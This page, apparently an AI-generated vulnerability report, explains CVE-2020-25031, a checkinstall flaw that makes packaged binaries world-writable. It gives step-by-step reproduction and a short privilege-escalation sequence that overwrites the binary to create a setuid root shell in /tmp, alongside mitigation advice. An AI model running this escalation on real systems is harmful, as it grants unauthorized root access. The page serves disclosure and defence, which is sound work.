CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2020-25031

The 'chmod 777' of Doom: How checkinstall Gave Root to Everyone

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·38 visits

Executive Summary (TL;DR)

checkinstall version 1.6.2 (and likely others) misapplies permissions when packaging software containing symlinks. It takes the symbolic link's 'virtual' 0777 permissions and applies them to the actual target file. If an admin uses checkinstall to package a binary that has a symlink pointing to it, the installed binary becomes world-writable. Local users can then overwrite the binary with a malicious payload to gain root access.

checkinstall, a popular utility for creating Debian or RPM packages from source code, contains a critical flaw in how it handles symbolic links. By misinterpreting the permissions of symlinks (which appear as 777 on Linux), the tool inadvertently sets the target binaries to world-writable in the generated package. This allows any local user to modify system binaries installed via these packages, leading to trivial Local Privilege Escalation.

The Hook: The Lazy Sysadmin's Best Friend

We have all been there. You need a piece of software that isn't in the official repositories. You download the source, run ./configure, make, and then you pause at make install. If you run that, you are scattering files all over your filesystem with no easy way to remove them later. Enter checkinstall.

checkinstall is the hero we thought we needed. It wraps the installation process, watches where files go, and politely packages them into a .deb or .rpm so you can manage them with your system's package manager. It is clean, it is efficient, and it is supposedly safe.

But here is the catch: checkinstall relies on a library called installwatch to spy on file system operations. It intercepts calls to see what is being touched. In CVE-2020-25031, this spy got a little too confused about the difference between a map and the territory. Specifically, it forgot that on Linux, a symbolic link looks like it has open doors (0777 permissions), even if the house it points to is locked tight.

The Flaw: Symlinks are Liars

To understand this bug, you need to understand a quirk of Unix-like filesystems. If you run ls -l on a symbolic link, you will almost always see permissions that look like this: lrwxrwxrwx. That translates to 0777—read, write, and execute for everyone. However, these permissions are a mirage; the actual access control is determined by the target file, not the link itself.

The vulnerability exists in how checkinstall (via installwatch) handles these permissions during the packaging phase. When the software being compiled creates a symlink (e.g., /usr/bin/myapp-v1 aliased as /usr/bin/myapp), checkinstall detects the file creation.

Here is where the logic fails: It reads the permissions of the file being created. When it encounters the symlink, it sees 0777. Instead of realizing "Hey, that's just a link," or applying those permissions only to the link itself, it inadvertently applies that 0777 mode to the target file inside the generated package structure. It effectively takes the "fake" permissions of the link and stamps them onto the real binary.

The Code: Determining the Reality

While the upstream code for checkinstall hasn't seen major updates in years (which is part of the problem), we can reconstruct the behavioral flaw through the lens of system calls. The core issue is a classic confusion between stat() and lstat() semantics, or simply a failure to check file types before copying permission bits.

When checkinstall prepares the package, it mirrors the installed files into a temporary directory. The logic roughly resembles this pseudocode disaster:

// Conceptual representation of the flaw
struct stat file_info;
// stat() follows links, lstat() does not.
// If the code uses stat() on a symlink, it gets the TARGET's info.
// If it uses lstat() on a symlink, it gets the LINK's info (st_mode usually 777).
 
lstat("symlink_to_binary", &file_info);
 
// file_info.st_mode is now 0777 (lrwxrwxrwx)
 
// The Fatal Mistake:
// Applying the link's mode to the destination file in the package
chmod(destination_binary, file_info.st_mode);

The result is a Debian package (.deb) where the control data says: "Please install /usr/bin/target_binary and make sure it is world-writable." The package manager, being an obedient servant, does exactly that.

The Exploit: Trojan Packaging

This is a Local Privilege Escalation (LPE) waiting to happen. The "attacker" here is actually the system administrator who accidentally creates a vulnerable package, but a savvy local user can exploit it instantly. Let's look at how to reproduce this using the method discovered by the researchers.

1. Create the Poisoned Source We simulate a software build that creates a binary and a symlink to it.

# Create a fake binary structure
mkdir -p usr/bin
echo -e '#!/bin/sh\necho I am safe' > usr/bin/safe_binary
chmod 755 usr/bin/safe_binary
 
# Create the fatal symlink
ln -sf safe_binary usr/bin/link_to_binary
 
# Tar it up like a source package
tar c usr/bin/safe_binary usr/bin/link_to_binary | gzip -c > source.tar.gz

2. Run the Vulnerable Tool The admin runs checkinstall to turn this tarball into a DEB.

checkinstall --install=no -y --pkgname=oops --pkgversion=1.0 -- \
  bash -c "gzip -cd source.tar.gz | (cd /; tar xv)"

3. verification of Doom If we inspect the resulting .deb file, we see the catastrophe:

dpkg -c oops_1.0-1_amd64.deb
# Output:
# -rwxrwxrwx root/root ... ./usr/bin/safe_binary

4. The Takeover Once installed, any user on the system can do this:

# Overwrite the system binary with a shell spawner
echo "cp /bin/sh /tmp/rootsh; chmod +s /tmp/rootsh" > /usr/bin/safe_binary
 
# Wait for root to run it (or ask them to)
/usr/bin/safe_binary
 
# Enjoy your root shell
/tmp/rootsh

The Impact: Trust No One, Not Even Yourself

The severity of CVE-2020-25031 is deceptively high. It is labeled as "Low Exploitability" because it requires an admin to mistakenly use the tool, but the impact is absolute compromise.

This vulnerability breaks the fundamental trust model of Linux permissions. We assume that if we install software as root, it is protected from users named guest or www-data. This bug inverts that assumption. By automating the packaging process, checkinstall essentially automates the removal of security boundaries.

Furthermore, this is persistent. Even if you reboot, that binary remains world-writable. Unless you are running file integrity monitoring (FIM) or auditing your filesystem permissions regularly (find /usr -perm -777), this backdoor could exist on your servers for years, unnoticed, just waiting for a compromised web service or a rogue user to stumble upon it.

The Fix: Abandon Ship?

Here is the cynical part: checking the Debian and Ubuntu trackers, this issue is often marked as "Unimportant" or "WontFix". The argument is often that checkinstall should not be used on untrusted systems or essential production pipelines. Essentially, the vendor response is a shrug.

How to mitigate this:

  1. Stop using checkinstall for critical binaries: If you are building packages for production, use proper packaging tools like dpkg-buildpackage, rpmbuild, or modern wrappers like fpm (Effing Package Management).
  2. Audit your packages: If you must use checkinstall, never install the result blindly. Run dpkg -c filename.deb and look for -rwxrwxrwx permissions on files that are not symlinks.
  3. Manual Strip: You can manually extract the control files, fix the permissions in the tarball, and repackage it, but at that point, you are doing more work than if you just wrote the package manifest yourself.

There is no magic patch button for this one in many repositories. The fix is to stop trusting the tool to understand symlinks.

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Debian-based systems using checkinstallRPM-based systems using checkinstallLinux MintUbuntu

Affected Versions Detail

Product
Affected Versions
Fixed Version
checkinstall
ASIC-Linux
<= 1.6.2None (Vendor WontFix in many cases)
AttributeDetail
CWE IDCWE-59 / CWE-276
CVSS v3.17.8 (High)
Attack VectorLocal (Admin interaction required)
ImpactPrivilege Escalation (Root)
Root CauseImproper symlink permission handling
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1574Hijack Execution Flow
Persistence / Privilege Escalation
T1222File and Directory Permissions Modification
Defense Evasion
CWE-59
Improper Link Following

Improper Link Following / Incorrect Default Permissions

Known Exploits & Detection

Ubuntu LaunchpadOriginal bug report with reproduction steps and PoC.

Vulnerability Timeline

Vulnerability reported on Ubuntu Launchpad by Gianni Tedesco
2020-01-29
CVE-2020-25031 assigned and published
2020-08-31
Highlighted in CISA Weekly Vulnerability Summary
2020-09-07
Still marked as Unimportant/WontFix by major distributions
2024-01-01

References & Sources

  • [1]Ubuntu Bug #1861281: checkinstall creates world writable files
  • [2]Debian Security Tracker: CVE-2020-25031
  • [3]NVD - CVE-2020-25031 Detail

More Reports

•24 minutes ago•CVE-2026-107377
7.5

CVE-2026-107377: Arbitrary File Write and Overwrite via Protobuf Weak Import Path Traversal in datamodel-code-generator

A path traversal vulnerability in datamodel-code-generator allows remote attackers to write or overwrite arbitrary files on the local host filesystem via a manipulated Protobuf schema containing malicious weak import paths.

Amit Schendel
Amit Schendel
2 views•5 min read
•about 1 hour ago•CVE-2026-61431
6.8

CVE-2026-61431: Arbitrary Local File Read and Path Traversal in PraisonAI ContextGatherer

PraisonAI is vulnerable to an arbitrary local file read vulnerability prior to version 4.6.78. The flaw is in the ContextGatherer component, where validation checks are executed only after files are parsed and appended to the context bundle, bypassing security constraints.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 2 hours ago•CVE-2026-107212
7.5

CVE-2026-107212: CPU Exhaustion Denial of Service via Look-Ahead Row Parsing in Excelize

An algorithmic complexity vulnerability (CWE-770) in the Excelize library allows remote attackers to cause resource exhaustion (100% CPU usage) via a crafted Microsoft Excel spreadsheet. This occurs because the look-ahead row index parsing in Rows.Columns() fails to enforce upper boundary limits, enabling an out-of-bounds row index to trigger an infinite seek loop inside the Rows iterator.

Alon Barad
Alon Barad
10 views•6 min read
•about 3 hours ago•CVE-2026-105647
4.0

CVE-2026-105647: Server-Side Request Forgery via Favicon Probing in Ghost CMS

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in Ghost CMS from version 6.54.1 to 6.65.0. The vulnerability stems from a validation bypass in the favicon resolution logic within the bookmark-fetching subsystem, which allows remote, unauthenticated attackers to trigger arbitrary HTTP requests to the local host and internal networks. This bypass circumvents the custom DNS-level IP blocklist controls configured globally in the application.

Alon Barad
Alon Barad
7 views•8 min read
•about 4 hours ago•CVE-2026-106450
5.3

CVE-2026-106450: Denial of Service via Eager Resource Allocation in lz4-java LZ4FrameInputStream

A resource allocation vulnerability (CWE-770) in lz4-java before version 1.11.4 allows an unauthenticated remote attacker to trigger CPU exhaustion and high garbage collection overhead by streaming empty concatenated LZ4 frames.

Alon Barad
Alon Barad
12 views•8 min read
•about 5 hours ago•CVE-2026-106449
3.7

CVE-2026-106449: Stack Overflow via Uncontrolled Recursion in yawkat lz4-java

A Denial of Service (DoS) vulnerability exists in the yawkat fork of lz4-java prior to version 1.11.4. Under specific non-default configurations (stopOnEmptyBlock = false), parsing crafted streams with a large sequence of contiguous empty LZ4 blocks triggers uncontrolled recursion inside the LZ4BlockInputStream.refill() method, causing stack exhaustion and thread termination.

Alon Barad
Alon Barad
7 views•6 min read